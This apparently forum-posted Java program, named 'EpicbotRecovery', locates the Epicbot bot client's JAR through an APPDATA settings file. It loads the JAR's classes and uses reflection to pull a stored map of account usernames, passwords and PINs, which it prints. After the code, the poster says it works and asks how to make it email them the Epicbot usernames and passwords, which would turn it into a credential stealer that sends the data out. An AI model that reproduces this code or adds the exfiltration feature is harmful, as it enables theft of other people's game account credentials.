Code:
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.lang.reflect.ParameterizedType;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
/**
*
* @author Lil Str Kid
*
*/
public class EpicbotRecovery {
/**
* The main method.
* @param args
*/
public static void main(String[] args) {
EpicbotRecovery epicbotRecovery = new EpicbotRecovery();
if (epicbotRecovery.getAccountsDirectory().exists()) {
try {
epicbotRecovery.execute();
} catch (Exception e) {
e.printStackTrace();
}
}
}
/**
* Executes the recovery task.
* @throws Exception
*/
public void execute() throws Exception {
File accountsFile = new File(getAccountsDirectory(), "Path.txt");
if (!accountsFile.exists()) {
return;
}
BufferedReader in = new BufferedReader(new FileReader(accountsFile));
String epicbotJarLocation = in.readLine();
if (!new File(epicbotJarLocation).exists()) {
return;
}
FieldSearcher fieldSearcher = new FieldSearcher(epicbotJarLocation);
Map<String, Map<String, String>> treeMap = (Map<String, Map<String, String>>) fieldSearcher.getFoundField().get(null);
for (Iterator<?> iter = treeMap.entrySet().iterator(); iter.hasNext();) {
Map.Entry entry = (Map.Entry) iter.next();
String username = (String) entry.getKey();
Map<String, String> values = (Map<String, String>) entry.getValue();
String password = values.get("password");
String pin = values.get("pin");
if (pin != null) {
pin = ", Pin: " + pin;
} else {
pin = "";
}
if (!username.isEmpty() && !password.isEmpty()) {
System.out.println("Username: " + username + ", Password: " + password + pin);
}
}
}
/**
* Gets the account directory.
* @return Epicbot account directory.
*/
public File getAccountsDirectory() {
return new File(System.getenv("APPDATA"), "Epicbot" + File.separator + "Settings");
}
private class FieldSearcher extends ClassLoader {
/**
* HashMap containing all the classes.
*/
private HashMap<String, byte[]> classes = new HashMap<String, byte[]>();
/**
* The found field.
*/
private Field foundField;
/**
* Initializes the class and starts the field searching process.
* @param path
* @throws Exception
*/
public FieldSearcher(String path) throws Exception {
JarFile jf = new JarFile(path);
Enumeration<JarEntry> entries = jf.entries();
while (entries.hasMoreElements()) {
JarEntry entry = entries.nextElement();
String name = entry.getName();
if (name.endsWith(".class")) {
classes.put(name.substring(0, name.length() - 6).replace("/", "."), readAllBytes(jf.getInputStream(entry)));
}
}
entries = jf.entries();
while (entries.hasMoreElements()) {
JarEntry entry = entries.nextElement();
String name = entry.getName();
if (name.endsWith(".class")) {
parse(loadClass(name.substring(0, name.length() - 6).replace("/", ".")));
}
}
}
/**
* Check to see if field matches the required pattern.
* @param field
* @return true if field found otherwise false.
*/
private boolean getSignatureFound(Field field) {
if (field.getType().getName().equals("java.util.Map")) {
ParameterizedType pt;
try {
pt = (ParameterizedType) field.getGenericType();
} catch (Exception ignored) {
return false;
}
return pt.getActualTypeArguments().length == 2 && pt.getActualTypeArguments()[0].toString().equals("class java.lang.String") && pt.getActualTypeArguments()[1].toString().equals("java.util.Map<java.lang.String, java.lang.String>");
}
return false;
}
/**
* Class parsing and field checking which sets foundField variable when found.
* @param clazz
*/
private void parse(Class<?> clazz) {
for (Field field : clazz.getDeclaredFields()) {
if (Modifier.isStatic(field.getModifiers())) {
if (getSignatureFound(field)) {
foundField = field;
foundField.setAccessible(true);
break;
}
}
}
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
if (classes.containsKey(name)) {
byte[] data = classes.remove(name);
return super.defineClass(name, data, 0, data.length);
}
return super.findClass(name);
}
/**
* Reads the class data and returns it as a ByteArray.
* @param in
* @return The class to byte array.
* @throws IOException
*/
public byte[] readAllBytes(InputStream in) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int read;
final byte[] data = new byte[4096];
while ((read = in.read(data, 0, 4096)) != -1) {
out.write(data, 0, read);
}
in.close();
return out.toByteArray();
}
/**
* Gets the found field.
* @return The foundField variable.
*/
public Field getFoundField() {
return foundField;
}
}
}
This code is working, but I want to add something to it:
That it will give the result*, or even email me the results.
*= Epicbot details (username/password).